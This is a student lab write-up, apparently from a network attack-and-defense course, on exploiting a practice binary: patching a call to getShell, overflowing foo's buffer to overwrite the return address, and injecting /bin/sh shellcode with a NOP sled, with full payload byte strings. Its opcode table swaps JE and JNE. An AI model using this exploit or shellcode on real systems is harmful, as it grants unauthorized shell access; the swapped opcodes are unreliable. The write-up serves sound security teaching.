2018-2019-2 《網絡對抗技術》Exp1 PC平臺逆向破解 Week3 20165211


實驗目標

目標一:手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。linux

目標二:利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。git

目標三:注入一個本身製做的shellcode並運行這段shellcode。shell


實驗基礎知識準備

Linux基本操做理解

指令 做用
objdump -d 反彙編指令
xxd 將一個文件以十六進制的形式顯示出來
cat 從第一個字節開始正向查看文件的內容
| 管道命令,能夠理解爲東西從管道的一邊流向另一邊
< 輸出指向, 就是把<後面跟的文件取代鍵盤做爲新的輸入設備
perl -e 是一門解釋型語言,不須要預編譯,能夠在命令行上直接使用。

彙編指令的機器碼

指令 做用 機器碼
NOP 空操做指令 90
JNE 條件轉移指令,若是不相等則跳轉。 74
JE 條件轉移指令,若是相等則跳轉。 75
JMP 無條件轉移指令 E9-EB
CMP 比較指令 38-3D

BOF原理

參考資料編程

BOF基礎實踐安全

緩衝區溢出詳解網絡

緩衝區是一塊連續的計算機內存區域,可保存相同數據類型的多個實例。緩衝區能夠是堆棧(自動變量)、堆(動態內存)和靜態數據區(全局或靜態)。dom

若將函數返回地址修改成指向一段精心安排的惡意代碼,則可達到危害系統安全的目的。此外,堆棧的正確恢復依賴於壓棧的EBP值的正確性,但EBP域鄰近局部變量,若編程中有意無心地經過局部變量的地址偏移竄改EBP值,則程序的行爲將變得很是危險。ide

img

反彙編和十六進制編程器

反彙編:objdump -d pwn |more,反彙編文件,並可翻頁查看函數

十六進制編程器:使用perl -e命令


實驗內容

任務一:手工修改可執行文件

  1. 首先將pwn1進行備份,cp pwn1 pwn20165211_1可生成一個和pwn1同樣的文件pwn20165211_1。

  1. 使用objdump -d pwn20165211_1|more將pwn20165211_1反彙編,可獲得如下代碼,可按enter進行瀏覽。在獲得的反彙編結果中,有不少的部分是這個文件所導入的函數,主要部分以下

  1. 在這裏,咱們能夠看到一行關鍵信息e8 d7 ff ff ff call 8048491 <foo>call指令後面是所要調用的函數首地址08048491。本文件中存在getShell函數,若要改調用foo函數爲調用getShell函數,則將地址改成0804847d便可,修改過程以下:

    • vi命令打開pwn20165211_1文件,可見文件ELF文件,且多爲亂碼

  • 輸入:%!xxd將文件顯示爲十六進制

  • 08048491對應的十六進制爲e8 d7 ff ff ff,則經過偏移地址的計算方法,得出080447d對應的十六進制爲e8 c3 ff ff ff,可見,咱們只要將d7修改成c3便可。輸入/d7查找定位,查看先後的數,發現爲咱們所須要修改的地方。

  • 修改d7c3

  • 注意此時保存文件會形成文件的損壞,須要輸入:%!xxd -r將文件轉化爲原格式

  • 使用:wq!寫文件並退出
  1. 修改後再反彙編文件,發現call指令後面已變爲getShell函數,說明修改已成功。

  1. 運行文件,輸入指令,發現已成功得到主機的shell

任務二:利用foo函數的Bof漏洞,觸發getShell函數。

  1. 首先明確咱們的目的,在知道了函數getShell,經過觸發這個函數,便可得到主機的Shell。實際就是想利用這個可執行文件foo函數的BOF漏洞,經過輸入超過長度的字符串buf,便可將返回地址覆蓋變爲getShell的地址,從而觸發函數。

  2. 首先,經過反彙編,明確buf的最大長度有多少?主要看的是foo函數

在紅框框出的位置,咱們能夠看到,給buf分配的棧空間,一共有1c(即爲28)個字節

以下圖,是堆棧的示意圖,咱們能夠看到,EBP佔4個字節,因此,返回地址以前一共有32個字節,故構造的字符串應該是32字節的任意數據加getShell的地址。

  1. 以上是咱們推算的過程,能夠經過構造字符串來驗證咱們的推算是否正確。構造一個ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEF12345678來驗證咱們的想法。輸入gdb ./pwn20165211_2,來調試改文件,輸入咱們構造的字符串,結果以下圖:

此錯誤爲返回地址爲一個無效的地址,查看錯誤信息,發現爲4321的ASCII碼值。則可知道咱們的想法是正確的,那麼接下來就是將1234的位置替換爲getShell的首地址0804847d,經過上圖,咱們能夠看到,其地址應該爲逆序的輸入進去則爲輸入應爲\x7d\x84\x04\x08,

  1. 可是,在程序輸入時,咱們沒法直接輸入十六進制值,故使用Perl語言進行構造咱們須要的輸入語句,存入input1文件裏,可查看input1是否符合要求。(\x0a爲回車)

  2. 利用管道語句,將input1做爲pwn20165211_2的輸入。查看發現成功得到shell.

任務三:注入一個本身製做的shellcode。

參考資料

Shellcode入門

Shellcode基礎

【乾貨分享】手把手簡易實現shellcode及詳解

  1. 在對待一些有BOF漏洞的程序時,這種方法應該是最具備普適性的吧,畢竟不是全部的文件裏面都會藏着一個getShell

  2. 首先是一些準備工做,經過如下的操做設置堆棧可執行,關閉地址隨機化。

  1. 注入本身構造的shellcode有兩種方式,一種是:retaddr+nop+shellcode,另外一種是:nop+shellcode+retaddr。其中nop是滑行區,只要保證retaddr在滑行區就能夠。其中,shellcode選擇\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\。首先選擇shellcode用哪一種方式構造,經常使用的方法retaddr+nop+shellcode。這樣就不用考慮緩衝區能容納shellcode的問題了。因此咱們構造的payload的結構即爲32字節random+retaddr+nop+shellcode

    那麼接下來就是retaddr的問題了。

  2. 首先先寫出咱們的攻擊bufABCDEFGHIJKLMNOPQRSTUVWXYZABCDEF\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80,注意最後一位不能是\x0a,否則段buf輸入時,就會直接開始執行了,沒法調試。接下來和上一步同樣構造出buf,並注入。

  1. 打開另外一個終端,調試這個進程。首先(獲取進程號

啓動gdb調試進程

查看foo函數的地址,已肯定設立斷點的位置,設在ret命令的位置

斷點設置完成後,在原終端按下回車鍵。再在此終端繼續執行。查看esp值。

而後尋找咱們的\x04\x03\x02\x01

可在圖中看到咱們的代碼,則可知其地址爲0xffffd23c,那麼咱們的shellcode地址爲0xffffd240因此,原buf中的\x01\x02\x03\x04即爲\x40\xd2\xff\xff,最後構造bufABCDEFGHIJKLMNOPQRSTUVWXYZABCDEF\x40\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a,注入便可得到shell。


實驗中遇到的問題和感想

出現問題

execstack命令找不到

發現此命令須要安裝,則經過指令安裝後,便可正常使用

感想

通過本次的實驗,主要就是對BOF有了進一步的理解。

以前也有接觸過BOF的相關概念,可是基本停留在概念理解上,真正動手去作了,就可以更加了解緩衝區溢出究竟是怎樣去工做的。返回地址的尋找,還有字符串的構造方法,仍是有很大的收穫的。

在如今,其實針對緩衝區溢出,也有不少的防禦方法,可是,緩衝區溢出仍然是一種有效的攻擊手段。就像本次實驗中,其實經過遠程鏈接也能夠完成本次操做,那麼就能夠造成一次有效的攻擊,形成各類安全風險。

什麼是漏洞

  • 漏洞是在硬件、軟件、協議的具體實現或系統安全策略上存在的缺陷,從而可使攻擊者可以在未受權的狀況下訪問或破壞系統,好比在本次,若你的計算機存在這樣一個文件,且被對方知悉,並無作有效的防禦手段,極有可能被對方得到電腦的操做權,訪問,破壞系統,就垂手可得了。

漏洞有什麼危害

  • 會對咱們的信息隱私形成泄露,傳播惡意的軟件,被充當某種大型攻擊的肉雞,小至咱們我的計算機沒法使用,大至國家網絡的癱瘓,都有可能發生。
相關文章
相關標籤/搜索